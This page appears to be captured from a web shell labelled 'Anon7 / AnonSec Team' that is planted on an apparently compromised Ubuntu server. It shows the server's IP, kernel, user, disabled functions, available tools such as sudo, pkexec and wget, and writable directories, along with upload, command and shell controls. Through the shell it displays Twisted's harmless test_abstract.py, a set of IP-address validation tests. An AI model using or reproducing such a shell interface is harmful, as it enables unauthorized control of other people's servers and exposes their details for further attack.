NICH
Server IP : 127.0.1.1  /  Your IP : 216.73.216.172
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux bahcrestlinepropertiesllc 5.15.0-113-generic #123-Ubuntu SMP Mon Jun 10 08:16:17 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python3/dist-packages/twisted/test/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /usr/lib/python3/dist-packages/twisted/test/test_abstract.py
# Copyright (c) Twisted Matrix Laboratories.
# See LICENSE for details.

"""
Tests for generic file descriptor based reactor support code.
"""


from socket import AF_IPX

from twisted.internet.abstract import isIPAddress
from twisted.trial.unittest import TestCase


class AddressTests(TestCase):
    """
    Tests for address-related functionality.
    """

    def test_decimalDotted(self):
        """
        L{isIPAddress} should return C{True} for any decimal dotted
        representation of an IPv4 address.
        """
        self.assertTrue(isIPAddress("0.1.2.3"))
        self.assertTrue(isIPAddress("252.253.254.255"))

    def test_shortDecimalDotted(self):
        """
        L{isIPAddress} should return C{False} for a dotted decimal
        representation with fewer or more than four octets.
        """
        self.assertFalse(isIPAddress("0"))
        self.assertFalse(isIPAddress("0.1"))
        self.assertFalse(isIPAddress("0.1.2"))
        self.assertFalse(isIPAddress("0.1.2.3.4"))

    def test_invalidLetters(self):
        """
        L{isIPAddress} should return C{False} for any non-decimal dotted
        representation including letters.
        """
        self.assertFalse(isIPAddress("a.2.3.4"))
        self.assertFalse(isIPAddress("1.b.3.4"))

    def test_invalidPunctuation(self):
        """
        L{isIPAddress} should return C{False} for a string containing
        strange punctuation.
        """
        self.assertFalse(isIPAddress(","))
        self.assertFalse(isIPAddress("1,2"))
        self.assertFalse(isIPAddress("1,2,3"))
        self.assertFalse(isIPAddress("1.,.3,4"))

    def test_emptyString(self):
        """
        L{isIPAddress} should return C{False} for the empty string.
        """
        self.assertFalse(isIPAddress(""))

    def test_invalidNegative(self):
        """
        L{isIPAddress} should return C{False} for negative decimal values.
        """
        self.assertFalse(isIPAddress("-1"))
        self.assertFalse(isIPAddress("1.-2"))
        self.assertFalse(isIPAddress("1.2.-3"))
        self.assertFalse(isIPAddress("1.2.-3.4"))

    def test_invalidPositive(self):
        """
        L{isIPAddress} should return C{False} for a string containing
        positive decimal values greater than 255.
        """
        self.assertFalse(isIPAddress("256.0.0.0"))
        self.assertFalse(isIPAddress("0.256.0.0"))
        self.assertFalse(isIPAddress("0.0.256.0"))
        self.assertFalse(isIPAddress("0.0.0.256"))
        self.assertFalse(isIPAddress("256.256.256.256"))

    def test_unicodeAndBytes(self):
        """
        L{isIPAddress} evaluates ASCII-encoded bytes as well as text.
        """
        self.assertFalse(isIPAddress(b"256.0.0.0"))
        self.assertFalse(isIPAddress("256.0.0.0"))
        self.assertTrue(isIPAddress(b"252.253.254.255"))
        self.assertTrue(isIPAddress("252.253.254.255"))

    def test_nonIPAddressFamily(self):
        """
        All address families other than C{AF_INET} and C{AF_INET6} result in a
        L{ValueError} being raised.
        """
        self.assertRaises(ValueError, isIPAddress, b"anything", AF_IPX)

    def test_nonASCII(self):
        """
        All IP addresses must be encodable as ASCII; non-ASCII should result in
        a L{False} result.
        """
        self.assertFalse(isIPAddress(b"\xff.notascii"))
        self.assertFalse(isIPAddress("\u4321.notascii"))

Anon7 - 2022
AnonSec Team